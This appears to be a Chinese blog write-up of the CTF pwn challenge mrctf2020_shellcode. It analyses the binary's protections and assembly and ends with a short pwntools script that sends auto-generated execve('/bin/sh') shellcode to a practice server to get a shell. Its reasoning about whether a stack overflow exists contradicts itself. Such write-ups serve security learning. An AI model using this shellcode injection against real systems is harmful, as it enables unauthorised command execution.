mrctf2020_shellcode----wp

1 篇文章 0 订阅

一、分析程序的一些保护措施(checksec一下)

1、程序架构是 amd64,64位,小端模式
2、got表只读不可写
3、没有启用栈保护
4、栈中数据有执行权限
5、启用位置无关可执行文件即编译时将程序编译为位置无关,程序运行时各个段加载的虚拟地址在装载时才确定
6、存在可读可写可执行段。

二、执行程序发现,程序要求输入某个字符串

输入过长则会报错。

三、使用ida pro 静态分析mrctf2020_shellcode程序

可以知道是无法进行转化成C语言伪代码。

四、分析汇编代码

可以知道开始是定义了buf是拥有0x410个字节的数据。接着向下分析可以知道是有三个setbuf函数,该函数是进行初始化数据的函数,接着是一个puts函数,接着有一个read函数,这个read函数的开始是0,接着是有0x400个字符可以进行读取。所以是存在栈溢出,所以可以领用这个漏洞点进行攻击。

在你给出的代码片段中,cmp 指令用于比较 [rbp+var_4] 的值和 0。如果 [rbp+var_4] 的值大于 0,则执行 jg(Jump if Greater)指令,跳转到标签 han_shu1。 所以,如果 [rbp+var_4] 的值大于 0,程序会进入到 han_shu1 这个部分。如果不大于 0,则继续执行下一条指令,这里是 mov eax, 0,然后跳转到 hanshu2。 也就是程序会从标准输入读取数据放入栈中,再跳转到栈中,并且从checksec可知栈是可执行的。那么直接把shellcode提供给程序输入即可。

shellcode,能够调用syscall执行execve(“/bin//sh”,0,0),直接开shell!

查看汇编代码的时候每一个函数是从下向上读取,所以可以知道read函数转化为read(0,&buf,0x400h),题目初始给的buf是0x410,所以不能实现栈溢出。就只有猜测是shellcode。

因为这是64位的文件,所以架构是amd64

五、一些汇编知识

sub 指令用于从第一个操作数中减去第二个操作数的值(即是左边的数减去右边的数。)
mov是将右边的值赋给左边的
push 指令用于将一个寄存器或值压入栈中
与push相对应,pop指令用于将值从栈中弹出到一个寄存器或内存位置。

六、编写exp

from pwn import*

context(os = 'linux',arch = 'amd64')
#64位的shellcode的编写都是需要加的一句代码。
r = remote('node5.buuoj.cn',26934)

shellcode = asm(shellcraft.sh())
#自动生成shellcode

r.sendline(shellcode)
r.interactive()

七、运行结果

  • 16
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值